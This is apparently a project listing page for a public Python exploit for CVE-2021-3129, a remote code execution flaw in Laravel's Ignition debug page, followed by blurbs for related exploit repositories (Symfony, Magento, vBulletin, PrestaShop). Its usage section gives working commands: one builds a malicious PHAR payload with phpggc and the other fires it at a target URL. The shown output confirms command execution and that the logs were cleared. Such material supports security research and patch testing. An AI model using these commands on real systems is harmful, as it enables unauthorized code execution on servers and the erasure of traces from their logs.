ambionics/laravel-exploits

Stars
238
Rank 169,306 (Top 4 %)
Language
Python
Created almost 4 years ago
Updated over 1 year ago

ambionics/laravel-exploits

ambionics

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Exploit for CVE-2021-3129

laravel-exploits

Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce

Usage

$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id 
$ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar
Log file: /work/pentest/laravel/laravel/storage/logs/laravel.log
Logs cleared
Successfully converted to PHAR !
Phar deserialized
--------------------------
uid=1000(cf) gid=1000(cf) ...
--------------------------
Logs cleared

phpggc

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

symfony-exploits

Exploits targeting Symfony

mt_rand-reverse

Script to recover mt_rand()'s seed with only two outputs and without any bruteforce.

magento-exploits

Exploits for Magento 2.3.0 and lower

vbulletin-exploits

Exploits targeting vBulletin.

scalpel

Scalpel is a Burp extension for intercepting and rewriting HTTP traffic, either on the fly or in the Repeater using Python 3 scripts.

prestashop-exploits

Collection of exploits/POC for PrestaShop cookie vulnerabilities (CVE-2018-13784)

wrapwrap

Generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file.

sqreen-exploit

Sqreen microagent RCE